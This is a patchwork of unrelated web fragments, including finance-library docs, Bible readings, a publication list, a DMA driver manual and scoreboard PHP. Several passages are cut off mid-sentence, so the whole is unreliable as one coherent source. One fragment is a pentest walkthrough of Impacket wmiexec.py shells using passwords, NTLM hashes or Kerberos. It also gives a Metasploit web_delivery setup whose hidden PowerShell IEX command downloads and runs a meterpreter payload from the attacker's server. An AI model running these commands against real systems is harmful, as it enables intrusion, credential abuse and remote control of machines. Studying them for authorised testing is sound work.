Authorising with Google ...
Google authorisation is required to import Citibank statements into Sheets.
Retrieving a list of your Google Sheets ...
The application was unable to load your Google sheets and cannot proceed.
See the console for further error details.
See the console for further error details.
Statement password required.
Incorrect password.
Importing ...
Statement imported.
See the console for further error details.


{{ $bintray := getJSON "https://search.maven.org/solrsearch/select?wt=json&q=g:" (.Get "groupId") "+AND+a:" (.Get "artifactId") }} {{ $version := (index $bintray.response.docs 0).latestVersion }} {{ $libname := .Get "artifactId" }} {{ $jcenterbase := printf "https://repo1.maven.org/maven2/%s/%s" (replace (.Get "groupId") "." "/") (.Get "artifactId") }} {{ $jar := printf "%s-%s.jar" $libname $version }} {{ $sourcesjar := printf "%s-%s-sources.jar" $libname $version }} {{ $javadocjar := printf "%s-%s-javadoc.jar" $libname $version }}
The binary jar, source jar, and javadoc jar are all available on jcenter. To include them using gradle, add this line to your build.gradle:
{{- printf "implementation '%s:%s:%s'" (.Get "groupId") (.Get "artifactId") $version -}}
Otherwise, the files can also be downloaded directly from jcenter, including the PGP signatures:


Zend\Search\Lucene works with the UTF-8 charset internally. Index files store unicode data in Java’s “modified UTF-8 encoding”. Zend\Search\Lucene core completely supports this encoding with one exception. [1]
Actual input data encoding may be specified through Zend\Search\Lucene API. Data will be automatically converted into UTF-8 encoding.
However, the default text analyzer (which is also used within query parser) uses ctype_alpha() for tokenizing text and queries.
ctype_alpha() is not UTF-8 compatible, so the analyzer converts text to ‘ASCII//TRANSLIT’ encoding before indexing. The same processing is transparently performed during query parsing. [2]
Note
Default analyzer doesn’t treats numbers as parts of terms. Use corresponding ‘Num’ analyzer if you don’t want words to be broken by numbers.
Zend\Search\Lucene also contains a set of UTF-8 compatible analyzers: Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8, Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8Num, Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8\CaseInsensitive, Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8Num\CaseInsensitive.
Any of this analyzers can be enabled with the code like this:
1 2 | Zend\Search\Lucene\Analysis\Analyzer::setDefault(
new Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8());
|
Warning
UTF-8 compatible analyzers were improved in Zend Framework 1.5. Early versions of analyzers assumed all non-ascii characters are letters. New analyzers implementation has more accurate behavior.
This may need you to re-build index to have data and search queries tokenized in the same way, otherwise search engine may return wrong result sets.
All of these analyzers need PCRE (Perl-compatible regular expressions) library to be compiled with UTF-8 support turned on. PCRE UTF-8 support is turned on for the PCRE library sources bundled with PHP source code distribution, but if shared library is used instead of bundled with PHP sources, then UTF-8 support state may depend on you operating system.
Use the following code to check, if PCRE UTF-8 support is enabled:
1 2 3 4 5 | if (@preg_match('/\pL/u', 'a') == 1) {
echo "PCRE unicode support is turned on.\n";
} else {
echo "PCRE unicode support is turned off.\n";
}
|
Case insensitive versions of UTF-8 compatible analyzers also need mbstring extension to be enabled.
If you don’t want mbstring extension to be turned on, but need case insensitive search, you may use the following approach: normalize source data before indexing and query string before searching by converting them to lowercase:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // Indexing
setlocale(LC_CTYPE, 'de_DE.iso-8859-1');
...
Zend\Search\Lucene\Analysis\Analyzer::setDefault(
new Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8());
...
$doc = new Zend\Search\Lucene\Document();
$doc->addField(Zend\Search\Lucene\Field::UnStored('contents',
strtolower($contents)));
// Title field for search through (indexed, unstored)
$doc->addField(Zend\Search\Lucene\Field::UnStored('title',
strtolower($title)));
// Title field for retrieving (unindexed, stored)
$doc->addField(Zend\Search\Lucene\Field::UnIndexed('_title', $title));
|
1 2 3 4 5 6 7 8 9 10 11 | // Searching
setlocale(LC_CTYPE, 'de_DE.iso-8859-1');
...
Zend\Search\Lucene\Analysis\Analyzer::setDefault(
new Zend\Search\Lucene\Analysis\Analyzer\Common\Utf8());
...
$hits = $index->find(strtolower($query));
|
| [1] | Zend\Search\Lucene supports only Basic Multilingual Plane (BMP) characters (from 0x0000 to 0xFFFF) and doesn’t support “supplementary characters” (characters whose code points are greater than 0xFFFF) Java 2 represents these characters as a pair of char (16-bit) values, the first from the high-surrogates range (0xD800-0xDBFF), the second from the low-surrogates range (0xDC00-0xDFFF). Then they are encoded as usual UTF-8 characters in six bytes. Standard UTF-8 representation uses four bytes for supplementary characters. |
| [2] | Conversion to ‘ASCII//TRANSLIT’ may depend on current locale and OS. |
The source code of this file is hosted on GitHub. Everyone can update and fix errors in this document with few clicks - no downloads needed.


|
QuantLib: a free/open-source library for quantitative finance
Fully annotated sources - version 1.30
|
Variance Gamma Pricing engine for European vanilla options using integral approach. More...
#include <ql/experimental/variancegamma/analyticvariancegammaengine.hpp>
Public Member Functions | |
| VarianceGammaEngine (ext::shared_ptr< VarianceGammaProcess >, Real absoluteError=1e-5) | |
| void | calculate () const override |
| Public Member Functions inherited from GenericEngine< OneAssetOption::arguments, OneAssetOption::results > | |
| PricingEngine::arguments * | getArguments () const override |
| const PricingEngine::results * | getResults () const override |
| void | reset () override |
| void | update () override |
| Public Member Functions inherited from PricingEngine | |
| ~PricingEngine () override=default | |
| virtual arguments * | getArguments () const =0 |
| virtual const results * | getResults () const =0 |
| virtual void | reset ()=0 |
| virtual void | calculate () const =0 |
| Public Member Functions inherited from Observable | |
| Observable () | |
| Observable (const Observable &) | |
| Observable & | operator= (const Observable &) |
| virtual | ~Observable ()=default |
| void | notifyObservers () |
| Public Member Functions inherited from Observer | |
| Observer ()=default | |
| Observer (const Observer &) | |
| Observer & | operator= (const Observer &) |
| virtual | ~Observer () |
| std::pair< iterator, bool > | registerWith (const ext::shared_ptr< Observable > &) |
| void | registerWithObservables (const ext::shared_ptr< Observer > &) |
| Size | unregisterWith (const ext::shared_ptr< Observable > &) |
| void | unregisterWithAll () |
| virtual void | update ()=0 |
| virtual void | deepUpdate () |
Private Attributes | |
| ext::shared_ptr< VarianceGammaProcess > | process_ |
| Real | absErr_ |
Additional Inherited Members | |
| Public Types inherited from Observer | |
| typedef set_type::iterator | iterator |
| Protected Attributes inherited from GenericEngine< OneAssetOption::arguments, OneAssetOption::results > | |
| OneAssetOption::arguments | arguments_ |
| OneAssetOption::results | results_ |
Variance Gamma Pricing engine for European vanilla options using integral approach.
Definition at line 38 of file analyticvariancegammaengine.hpp.
|
explicit |
Definition at line 82 of file analyticvariancegammaengine.cpp.
|
overridevirtual |
Implements PricingEngine.
Definition at line 89 of file analyticvariancegammaengine.cpp.
|
private |
Definition at line 45 of file analyticvariancegammaengine.hpp.
|
private |
Definition at line 46 of file analyticvariancegammaengine.hpp.


Sprint 3 Design exploration
All prototypes created so far, including those created for design exploration
Hero styles
Search journeys
- Job title - v1
- Job title - v2 (WIP)
- Service wide - v1
- Service wide - v2
- Job title - typeahead - v1
- Job title and keywords - v1
Search results page
- Search results - blank
- Search results - from file
- Search results - from uploaded file
- Search results - from file - GOV styles
- Search results - no results - GOV styles
- Search results - spelling suggestion - GOV styles
- Search results - empty search - GOV styles
Exit routes and feeds
- Exit routes - bridging content concept - v1
- Opportunity feeds - v1
- Opportunity feeds - v2
- Opportunity feeds - input location - v1
Job profile layout
Job profiles
Social worker
Primary school teacher
- Primary school teacher - v1
- Primary school teacher - v2
- Primary school teacher - v2 - highlighted
- Primary school teacher - v3
A-Z profiles
- Air cabin crew - v1
- Chef - v1
- Computer games tester - v1
- Counsellor - v1
- Dental nurse - v1
- Forensic scientist - v1
- Hairdresser - v1
- Interior designer - v1
- Paralegal - v1
- Physiotherapist - v1
- Police officer - v1
- Psychologist - v1
- Studio sound engineer - v1
- Teaching assistant - v1
- TV presenter - v1
- Veterinary nurse - v1


Recipe #1
Title:
Ingredients:
Directions:
Recipe #2
Title:
Ingredients:
Directions:
Recipe #3
Title:
Ingredients:
Directions:
Recipe #4
Title:
Ingredients:
Directions:
Recipe #5
Title:
Ingredients:
Directions:
Home


Derek Eder
@derekeder
RT @councilmatic: Check out this killer feature: see and search full text of every bill: http://nyc.councilmatic.org/legislation/int-847-2015/?view=text #cfasummit http://t.co/Yo9C…
9/30/2015, 1:31:08 PM
Favs: 0
Retweets: 0
link


Amazing Uses of CartoDB
Target Audience: novice mappers
Objectives:
- Tool audience is pretty solid accross disciplines
- Integrations/Open Source advantage
- Utility: Storytelling, Analysis/Reporting, making beautiful maps
View Slides here
View Video Recording Here


Cleveland takes on Miami, aims to break 4-game skid
by The Associated PressCleveland Cavaliers (4-9, 12th in the Eastern Conference) vs. Miami Heat (9-3, third in the Eastern Conference)
Miami; Wednesday, 7 p.m. EST
Cleveland enters the matchup with Miami as losers of four in a row.
Miami went 39-43 overall and 23-29 in Eastern Conference action in the 2018-19 season. The Heat shot 45% from the field and 34.9% from 3-point range last season.
Cleveland finished 19-63 overall and 6-35 on the road a season ago. The Cavaliers averaged 104.5 points per game while shooting 44.4% from the field and 35.5% from behind the arc last season.
Miami and Cleveland matchup for the second time this season. The Heat won the last meeting 108-97 on Nov. 14. Kendrick Nunn led Miami to the win with 23 points, eight assists and two steals.
Heat Injuries: Justise Winslow: out (concussion), Derrick Jones Jr.: out (hip), KZ Okpala: day to day (left achilles strain), Goran Dragic: day to day (illness).
Cavaliers Injuries: Dylan Windler: out (stress reaction), Tristan Thompson: out (rest), Larry Nance Jr.: day to day (thumb), Kevin Love: day to day (back), John Henson: out (hamstring).
___
The Associated Press created this story using technology provided by Data Skrive and data from Sportradar.


Help Output
Basic Shell
Shell with Hashes
Shell with Kerberos
Shell with aesKey
Web Delivery plus WMIEXEC through a Metasploit socks4a Proxy
Help Output
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
target [command [command ...]]
Executes a semi-interactive shell using Windows Management Instrumentation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command to execute at the target. If empty it will
launch a semi-interactive shell
optional arguments:
-h, --help show this help message and exit
-share SHARE share where the output will be grabbed from (default
ADMIN$)
-nooutput whether or not to print the output (no SMB connection
created)
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from
ccache file (KRB5CCNAME) based on target parameters.
If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256
bits)
Getting Shells
Getting shells is awesome, but there is a reason why you don't want to just run cmd.exe as the executable to run. Impacket has a special thing it does when you leave the executable off that allows for uploads and downloads, which cmd.exe
Basic Shell
The basic shell in wmiexec.py is essentially %COMSPEC% / cmd.exe with one tine difference, you can upload and download directly from it. This holds a lot of weight when you think about the capabilities to authenticate that Impacket has (password/hashes/kerberos).
python wmiexec.py<EMAIL_ADDRESS>Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
Password:
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\temp>
C:\temp>help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
C:\temp>get test.log
[*] Downloading C:\\temp\test.log
Web Delivery plus WMIEXEC through a Metasploit socks4a Proxy
First, we assume that you already have a single shell, one way or another into a corporate network. The internal range used by the network you've gotten a shell on is <IP_ADDRESS>/24 and you are running as an admin.
msf exploit(web_delivery) > set SRVPORT 8443
SRVPORT => 8443
msf exploit(web_delivery) > set URIPATH /download
URIPATH => /download
msf exploit(web_delivery) > set LPORT 8443
LPORT => 8443
msf exploit(web_delivery) > set TARGET 2
TARGET => 2
msf exploit(web_delivery) > show targets
msf exploit(web_delivery) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
msf exploit(web_delivery) > show options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST <IP_ADDRESS> yes The local host to listen on. This must be an address on the local machine or <IP_ADDRESS>
SRVPORT 8443 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH /download no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen hostname
LPORT 8443 yes The listen port
Exploit target:
Id Name
-- ----
2 PSH
msf exploit(web_delivery) > set SSL true
SSL => true
msf exploit(web_delivery) > exploit -j
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse handler on <IP_ADDRESS>:8443
[*] Using URL: https://<IP_ADDRESS>:8443/download
[*] Local IP: https://<IP_ADDRESS>:8443/download
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};IEX ((new-object net.webclient).downloadstring('https://<IP_ADDRESS>:8443/download'))
msf exploit(web_delivery) >


WEEK 5 THURSDAY
Year 1 (Year 2)
FIRST READING Genesis 2:18-25
A reading from the Book of Genesis
The LORD God said, "It is not good that the
man should be alone; I will make him a helper fit for him." So out of the
ground the LORD God formed every beast of the field and every bird of the air,
and brought them to the man to see what he would call them; and whatever the
man called every living creature, that was its name. The man gave names to all
cattle, and to the birds of the air, and to every beast of the field; but for
the man there was not found a helper fit for him. So the LORD God caused a deep
sleep to fall upon the man, and while he slept took one of his ribs and closed
up its place with flesh; and the rib which the LORD God had taken from the man
he made into a woman and brought her to the man. Then the man said, "This
at last is bone of my bones and flesh of my flesh; she shall be called Woman, because
she was taken out of
The word of the Lord
RESPONSORIAL PSALM Psalm 128:1-2.3.4-5 (R. see 1a)
R. Blessed are all who fear the Lord.
Blessed are all who fear the LORD, and walk in his
ways! By the labour of your hands you shall eat. You will be blessed and
prosper.
R. Blessed are all who fear the Lord.

R. Blessed are all who fear the Lord.
Indeed thus shall be blessed the man who fears the LORD.
May the LORD bless you from Sion. May you see
R. Blessed are all who fear the Lord.
FIRST READING 1 Kings 11:4-13
A reading from the first Book of Kings
When Solomon was old his wives turned away his
heart after other gods; and his heart was not wholly true to the LORD his God,
as was the heart of David his father. For Solomon went after Ashtoreth the goddess of the Sidonians,
and after Milcom the abomination of the Ammonites. So
Solomon did what was evil in the sight of the LORD, and did not wholly follow
the LORD, as David his father had done. Then Solomon built a high place for Chemosh the abomination of
The word of the Lord
RESPONSORIAL PSALM Psalm 106:3-4.35-36.37 and 40 (R. see 4a)
R. O Lord, remember us with the favour you show to your people.
Blessed are they who observe what is just, who at
all times do what is right. O LORD, remember me with the favour you show to
your people. Visit me with your saving power.
R. O Lord, remember us with the favour you show to
your people.
Instead they mingled with the nations, and learnt
to act as they did. They also served their idols, and these became a snare to
entrap them.
R. O Lord, remember us with the favour you show to
your people.
They even offered their sons and their daughters in
sacrifice to demons. Then Godís anger blazed against his people; he was filled
with horror at his heritage.
R. O Lord, remember us with the favour you show to
your people.
ALLELUIA James 1:21
R. Alleluia. Receive with meekness the implanted word, which is able to save your souls. R. Alleluia.
GOSPEL Mark 7:24-30
A reading from the holy Gospel according to Mark
At that time: Jesus arose and went away to the
region of
The Gospel of the Lord


Services
Graphic Design
Website Design
Branding & Identity
Logo Design
Font Design
ID & Business Cards
Accessories, Apparel Design
T-shirt Printing & Embroidery
Product Design, Branding & Packaging
Magazine & Brochure Design
Flyers, Posters, Billboards & Signs
Layout & Typography
Restaurant Menus
Motion Graphics
Illustration & Animation
House Plans
Print Services
Voice Overs & Narration
Newspaper, TV & Radio Ads
Photography & Videography
Photo & Video Editing
Design Consultancy
Contracts & Legal Stuff


{{ range where .Data.Pages "Params.category" "==" "primary" }}
{{ .Render "summary" }}
{{ end }}
Curiosities along the way
{{ range where .Data.Pages "Params.category" "==" "curiosity" }}
{{ .Render "summary" }}
{{ end }}
Journal articles
“The roles of K+ currents in human articular chondrocyte electrophysiology: A computational perspective” H. Narayanan, M. M. Maleckar, R. B. Clark, J. R. Wilson, W. R. Giles
Under preparation
“An adaptive finite element method for fluid-structure interaction”[preprint] K. Selim, A. Logg, H. Narayanan, M. G. Larson
Submitted
“In silico estimates of the free energy changes in growing, avascular, tumor spheroids”[postprint][preprint] H. Narayanan, S. N. Verner, K. L. Mills, R. Kemkemer, K. Garikipati
Journal of Physics: Condensed Matter
Vol. 22(19), 2010
“The micromechanics of fluid-solid interactions during growth in porous soft biological tissue”[postprint][preprint] H. Narayanan, E. M. Arruda, K. Grosh, K. Garikipati
Biomechanics and Modeling in Mechanobiology
Vol. 8(3), pp. 167–181, 2009
“The continuum elastic and atomistic viewpoints on the formation volume and strain energy of a point defect”[postprint][preprint] K. Garikipati, M. Falk, M. Bouville, B. Puchala, H. Narayanan Journal of the Mechanics and Physics of Solids
Vol. 54(9), pp. 1929–1951, 2006
“Biological remodelling: Stationary energy, configurational change, internal variables and dissipation”[postprint][preprint] K. Garikipati, J. Olberding, H. Narayanan, E. M. Arruda, K. Grosh, S. Calve
Journal of the Mechanics and Physics of Solids
Vol. 54(7), pp. 1493–1515, 2006
“A continuum treatment of growth in biological tissue: The coupling of mass transport and mechanics”[postprint][preprint] K. Garikipati, E. M. Arruda, K. Grosh, H. Narayanan, S. Calve
Journal of the Mechanics and Physics of Solids
Vol. 52(7), pp. 1595–1625, 2004
Chapters in books
“A computational framework for nonlinear elasticity”[postprint][preprint] H. Narayanan Automated Solution of Differential Equations by the Finite Element Method, A. Logg, K-A. Mardal, G. N. Wells (Eds.)
Chap. 27, pp. 527–544, 2012
“A comparison of some finite element schemes for the incompressible Navier-Stokes equations”[postprint][preprint] K. Valen-Sendstad, A. Logg, K-A. Mardal, H. Narayanan, M. Mortensen
Automated Solution of Differential Equations by the Finite Element Method, A. Logg, K-A. Mardal, G. N. Wells (Eds.)
Chap. 21, pp. 395–417, 2012
“Characterization and modeling of growth and remodeling in tendon and soft tissue constructs”[postprint][preprint] E. M. Arruda, S. Calve, K. Garikipati, K. Grosh, H. Narayanan Mechanics of Biological Tissue, G. A. Holzapfel, R. W. Ogden (Eds.)
Chap. 5, pp. 63–75, 2006
“Material forces in the context of biotissue remodelling”[postprint][preprint] K. Garikipati, H. Narayanan, E. M. Arruda, K. Grosh, S. Calve
Mechanics of Material Forces, P. Steinmann, G. A. Maugin (Eds.)
Chap. 8, pp. 77–84, 2005
Conference proceedings
“Experimental and computational investigation of viscoelasticity of native and engineered ligament and tendon”[postprint][preprint] J. Ma, H. Narayanan, K. Garikipati, K. Grosh, E. M. Arruda
Cellular, Molecular and Tissue Mechanics
IUTAM Symposium Bookseries
Vol. 16, pp. 3–17, 2010
“Collaborative computational frameworks and the growth problem”[postprint][preprint] H. Narayanan, K. Garikipati, A. Logg
The Mathematics of Growth and Remodelling of Soft Biological Tissues
Mathematisches Forschungsinstitut Oberwolfach Reports
Vol. 5(3), pp. 2247–2249, 2008
“Mathematical modelling of solid tumor growth”[postprint][preprint] K. Garikipati, H. Narayanan, K. Grosh, E. M. Arruda
The Mathematics of Growth and Remodelling of Soft Biological Tissues
Mathematisches Forschungsinstitut Oberwolfach Reports
Vol. 5(3), pp. 2235–2238, 2008
Other academic writing
“A continuum theory of multiphase mixtures for modelling biological growth”[postprint][preprint][source] H. Narayanan Doctoral Dissertation, University of Michigan
2007
“Variational level sets in shape reconstruction from unorganised data sets”[preprint] H. Narayanan Project Report, University of Michigan
2005
Selected talks at conferences
“A continuum model for the active mechanical response of the myocardium”[slides] Tenth World Congress on Computational Mechanics
São Paulo, Brazil, July 2012
“The role of K+ channels in human articular chondrocyte electrophysiology”[slides] Cardiac Modelling Seminar at Simula Research Laboratory
Oslo, Norway, July 2011
“An automated computational framework for hyperelasticity”[slides] Fourth European Conference on Computational Mechanics
Paris, France, May 2010
“A goal-oriented error-controlled solver for biomedical flows”[slides] Fifth M.I.T. Conference on Computational Fluid and Solid Mechanics
Cambridge, MA, June 2009
“Collaborative computational frameworks and the growth problem”[slides] Workshop on the Mathematics of Growth and Remodelling of Soft Biological Tissues
Mathematisches Forschungsinstitut Oberwolfach, Germany, September 2008
“Reshaping tumour growth”[slides] University of Michigan Engineering Graduate Student Symposium
Ann Arbor, MI, November 2007
“A continuum theory of multiphase mixtures for modelling biological growth”[slides] Doctoral Dissertation Defence
Ann Arbor, MI, October 2007
“The numerical implications of multi-phasic mechanics assumptions underlying growth models”[slides] Ninth U.S. National Congress on Computational Mechanics
San Fransisco, CA, July 2007
“Finite element methods in general relativity”[slides] University of Michigan Engineering Graduate Student Symposium
Ann Arbor, MI, November 2006
“Viscoelastic and growth mechanics in engineered and native tendons”[slides] 43rd Annual Technical Meeting of the Society of Engineering Science
University Park, PA, August 2006
“The numerical implications of fluid incompressibility in multiphasic modelling of soft tissue growth”[slides] Seventh World Congress on Computational Mechanics
Los Angeles, CA, July 2006
“Tendon growth and healing: The roles of reaction, transport and mechanics”[slides] 15th U.S. National Congress on Theoretical and Applied Mechanics
Boulder, CO, June 2006
“Computational modelling of mechanics and transport in growing tissue”[slides] Eighth U.S. National Congress on Computational Mechanics
Austin, TX, July 2005
“Simulations of coupled mechanics and transport in growing soft tissue”[slides] Third M.I.T. Conference on Computational Fluid and Solid Mechanics
Cambridge, MA, June 2005
“Multi-scale simulations of the mechanics of transport and growth in soft tissue”[slides] 41st Annual Technical Meeting of the Society of Engineering Science
Lincoln, NE, October 2004
“Material forces in the context of biological tissue remodelling”[slides] Seventh U.S. National Congress on Computational Mechanics
Albuquerque, NM, July 2003
“A continuum treatment of growth in tissue”[slides] Second M.I.T. Conference on Computational Fluid and Solid Mechanics
Cambridge, MA, June 2003


The Daily Prophet
The Wizard World's Beguiling Broadsheet of Choice
Start Bootstrap
Main
(current)
About us
Contact
Contact and location
Telephone:
(020) 9876 3456
Email:
<EMAIL_ADDRESS>Location:
Along South Side, Diagon Alley, next to Whizz Hard Books
London, UK
Contact whit us!
First Name
Email
Movil Phone
Message
Send


{% extends extended_template %} {% load static %} {% block head %}
An easy way to read company filings including 10-K, 10-Q and Proxy statements.
Take a test drive with Home Depot (HD)


Welcome to My Heat Map
Dark Mode
Toggle:
New Coffee Shops
2010
2018
Noise Complaints
2010
2018
Here's what others think:
"This is an example of explanation"
Here's what others think:


CSGO-Buynds is an open-source web-app for generating buy binds for Counter-Strike: Global Offensive (CS:GO).
Buy binds, also known as buy scripts, are commands for the Counter-Strike PC games that allow quick, 1-button purchasing of weapons and equipment.
Check out the csgo-buynds repo on GitHub to see the code!
This project was started for several reasons:
Along with allowing you to configure multiple key binds at once, there are other unique features planned for CSGO-Buynds:
The CSGO-Buynds Buy Binds Generator was made for all of the CS:GO PC players out there who don't want to use the clunky radial menu for purchasing their weapons and equipment. The online tool is simple enough for anybody to use yet powerful enough to build highly customized binds. Everyone from noobs to Pros will enjoy being able to create easily-accessible loadouts. Don't get caught fumbling in the CS:GO buy menu. Never be the last player out of spawn again!
The creator of CSGO-Buynds is Jesse Webb (a.k.a. Gweebz), a long time player of the Counter-Strike series.
The csgo-buynds project uses Git for version control. The repository is hosted by GitHub.
The website is hosted on GitHub Pages. It does not use Jekyll.
The main branch,
gh-pages
, is where stable releases are deployed to.
Development should be done on the dev
branch.
Pull requests are welcomed!
The code is pure HTML5, CSS3, and JavaScript. There is nothing to compile.
Here is a list of which 3rd party libraries are being used:
Tests are written with Jasmine (version: 2.5.2).
npm install
npm test(The project is configured to use Karma (version: 1.3.0) to run the tests.)
Continuous integration is performed with Travis CI.
Jesse's preferred JavaScript IDE is JetBrain's WebStorm.


| Top |
void
(*cairo_destroy_func_t) (void *data
);
cairo_destroy_func_t the type of function which is called when a data element is destroyed. It is passed the pointer to the data element and should free any memory and resources allocated for it.
Since 1.0
typedef int cairo_bool_t;
cairo_bool_t is used for boolean values. Returns of type cairo_bool_t will always be either 0 or 1, but testing against these values explicitly is not encouraged; just use the value as a boolean condition.
if (cairo_in_stroke (cr, x, y)) { /* do something */ }
Since 1.0
typedef struct { int unused; } cairo_user_data_key_t;
cairo_user_data_key_t is used for attaching user data to cairo data structures. The actual contents of the struct is never used, and there is no need to initialize the object; only the unique address of a cairo_data_key_t object is used. Typically, you would just use the address of a static cairo_data_key_t object.
Since 1.0


Team:
name() ." (Team ". $team->id() . ")"; ?>
Your Score:
points(); ?>
$q) { ?>
$status) { $id = preg_replace("/\s/", "", strtolower($cat)) . "_" . $points; if ($status == 'open' || $status == 'openstatic' || $status == 'lead' || $status == 'lead current') { if ($game->isSelectLeadMode()) { echo "\t\t\t\t\t
$points
\n"; } else { echo "\t\t\t\t\t
$points
\n"; } } else if ($status == 'select_lead' && $game->isSelectLeadMode()){ echo "\t\t\t\t\t
$points
\n"; } else { echo "\t\t\t\t\t
$points
\n"; } } ?>
= Lead Question
= Open
= Answered
style="display: none" >
Messages:
0) { foreach ($hints as $hint) { echo "
${hint['timestamp']}
${hint['hint']}
\n"; } } ?>
0) { ?>
$msg\n"; } else { echo "
$category $question:
". $conf['qa'][$category][$question]['q'] . '
'; ?>
Your Answer:
Leaderboard
$teaminfo) { if ($teaminfo['teamid'] == $_SESSION['teamid']) { echo "
" . $teaminfo['team'] . "
(" . $teaminfo['points'] . ")
"; } else { echo "
" . $teaminfo['team'] . "
(" . $teaminfo['points'] . ")
"; } } ?>


Driver Source Code
The lscdma driver is a Linux 2.6.x based PCI style device driver.
The driver uses the Linux device model introduced in the 2.6 kernel to register the driver and
devices in the /sys/class tree and have them known to the system and user.
The driver source is divided among various files, each implementing certain
funtionality. An explanation of the files follows:
- Main.c - contains the driver entry, add device and unload routines.
Also contains the handlers for all system calls, such
as opening a file, closing a file, reading, writing and ioctl commands.
- DMA.c - contains the routines to construct Scatter-Gather Lists in Linux and
invoke the SGDMA IP configuration routines to setup the transfers.
- Devices.c - contains the Lattice IP specifics. Routines for reading and writing registers
in the allocated BAR space, handling the SGDMA IP, handling the Interrupt Controller IP, etc.
- ISR.c - contains the ISR and DPC used for processing SGDMA interrupts when a transfer
is complete
- lscdma.h - contains all definitions for the driver - data structures, prototypes, etc.
- Ioctl.h - contains the definitions of all the supported interfaces/access points between
the driver and user space code. All shared structures, constants and IOCTL commands are defined here.
- GPIO.h - contains register definitions for the GPIO IP module used in the demo
- SGDMA.h - contains register definitions for the SGDMA IP module used in the demo
- sysDefs.h - contains data type definitions to port so types used in the driver code to Linux
- 9-lscdma.rules - the udev rules for creating device nodes in the /dev tree
- insdrvr - script file to manually install the driver; used mainly for development and testing
- rmdrvr - script file to manually remove the driver; used mainly for development and testing
All global functions are prefixed with lscdma_ to indicate they belong to this driver.
Loading the Driver
The driver is loaded into the Linux kernel by a system call.
There are two ways to load a driver. The choice depends on
usage: development or automated.
- insdrvr - use the script file to insert the driver manually for development purposes.
This script uses the insmod system call to load the driver module into the kernel.
- init script - the DevKit install script will add to the init file /etc/rc.d/rc.local
a line to execute the modprobe call for the respective drivers, which then uses the kernel's
automated services to load registered modules based on hardware discovered.
For standard operations, the driver is installed and loaded automatically by the system when the OS starts.
For a detailed overview of the driver loading operations see the lscpcie2 driver reference manual.
The same sequences apply to the lscdma driver also.
How a DMA Device is Opened
This driver supports 2 devices to DMA to/from. The ColorBars device provides image data to be written
into PC memory. The ImageMove device is actually an EBR. It can be written to and read from.
Currently the demo IP (and the driver) only support 1 DMA read channel and 1 DMA write channel.
That being the case, only one device (ColorBars or ImageMove) can be open at a time, since they
both need atleast the write channel.
To indicate which device the SGDMA will be moving data to/from, the user opens the similarly
named device file, i.e. ECP2M_DMA_1_CB refers to opening the first ECP2M board, to DMA from the
ColorBars device (CB=ColorBars, IM=ImageMove). Each hardware device actually has 3 device files
corresponding to it:
- Minor 0 = basic register access
- Minor 1 = ColorBars access
- Minor 2 = ImageMove access
Linux invokes the driver's lscdma_open() function. This is the same driver entry point that gets
invoked when opening a disk file. The driver extracts the minor number and knows which device was opened.
The minor number referes to whether the user opened the ColorBars file or the ImageMove file.
The lscdma_open() also checks to make sure no other devices are opened. If so it exits with
an error code (-EBUSY). This provides the mututal exclusion.
How the SGDMA is Started
Once the user opens a "file", which represents the IP device, standard file read and writes are
done to perform the actual data movement. This works just like reading or writing data to a disk
file. The lscdma_read() is used to read data from an IP device. This actually translates
into PCIe MWr operations. The data is written into the PC memory.
The lscdma_write() is used to write data to an IP device.
This actually translates into PCIe MRd operations. The data is read from the PC memory.
The lscdma_read() function checks to make sure that all hardware resources are available
and enabled. This includes interrupt support and DMA adapter allocation. Also it makes sure the
file object is still valid and not in the process of being abruptly closed by the user (i.e.
the user process crashed or aborted). Next the user's read request put onto a wait queue.
This blocks the user process. It acts just like reading from a disk. The read() function call
will not return until all data has been transfered into the user's buffer. Next the SGDMA is
programmed to move the data.
The lscdma_write() function checks the driver settings just like above.
The user's write request is placed on a wait queue.
This blocks the user process. It acts just like writing to a disk. The write() function call
will not return until all data has been transfered from the user's buffer into the device hardware.
Next the SGDMA is programmed to move the data.
How Memory is Mapped
The driver uses true Scatter-Gather Direct Memory Access techniques to move the data between
user virtual memory space and the device PCIe address space. The data buffers specified in the
read and write function calls are in the virtual address space of the demo process. These
addresses do not correspond to real, physical memory addresses in PC system memory. The SGDMA IP
requires linear, physical memory addresses. The driver uses kernel memory management functions
to get a list of all the physical pages that comprise the user's virtual buffer.
pci_map_sg() is the primary function that does this. It creates a list of [starting address,
length] pairs for each page of memory that makes up the user's buffer. For example, the ColorBars
